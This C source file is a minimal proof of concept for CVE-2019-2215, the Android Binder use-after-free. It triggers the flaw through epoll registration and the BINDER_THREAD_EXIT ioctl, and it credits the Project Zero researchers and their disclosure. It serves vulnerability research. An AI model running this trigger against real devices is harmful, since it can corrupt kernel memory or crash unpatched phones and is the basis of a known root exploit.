/*
 * Originally discovered via syzkaller and reported by Project Zero
 * Simple demonstration of the race condition in the Android Binder IPC mechanism
 *
 * References:
 * - https://bugs.chromium.org/p/project-zero/issues/detail?id=1942
 * - https://googleprojectzero.blogspot.com/2019/11/bad-binder-android-in-wild-exploit.html
 * - https://groups.google.com/d/msg/syzkaller-bugs/QyXdgUhAF50/g-FXVo1OAwAJ
 *
 * Credits:
 * - Maddie Stone (@maddiestone) - Project Zero
 * - Jann Horn (@tehjh) - Project Zero
 *
 * This minimal PoC demonstrates the vulnerability by:
 * 1. Opening a binder file descriptor
 * 2. Setting up an epoll instance that monitors the binder fd
 * 3. Triggering the BINDER_THREAD_EXIT ioctl to create the UAF condition
 */

#include <fcntl.h>
#include <sys/epoll.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/* Binder thread exit ioctl command */
#define BINDER_THREAD_EXIT 0x40046208ul

int main()
{
    int binder_fd, epoll_fd;
    struct epoll_event event = {.events = EPOLLIN};

    /* Open the binder device */
    binder_fd = open("/dev/binder", O_RDONLY);
    if (binder_fd < 0)
    {
        perror("Failed to open binder device");
        return EXIT_FAILURE;
    }

    /* Create an epoll instance */
    epoll_fd = epoll_create(1000);
    if (epoll_fd < 0)
    {
        perror("Failed to create epoll instance");
        close(binder_fd);
        return EXIT_FAILURE;
    }

    /* Register the binder fd with epoll */
    if (epoll_ctl(epoll_fd, EPOLL_CTL_ADD, binder_fd, &event) < 0)
    {
        perror("Failed to add binder fd to epoll");
        close(epoll_fd);
        close(binder_fd);
        return EXIT_FAILURE;
    }

    /* Trigger the use-after-free condition */
    printf("[+] Triggering CVE-2019-2215 Binder UAF condition\n");
    ioctl(binder_fd, BINDER_THREAD_EXIT, NULL);
    printf("[+] PoC completed\n");

    return EXIT_SUCCESS;
}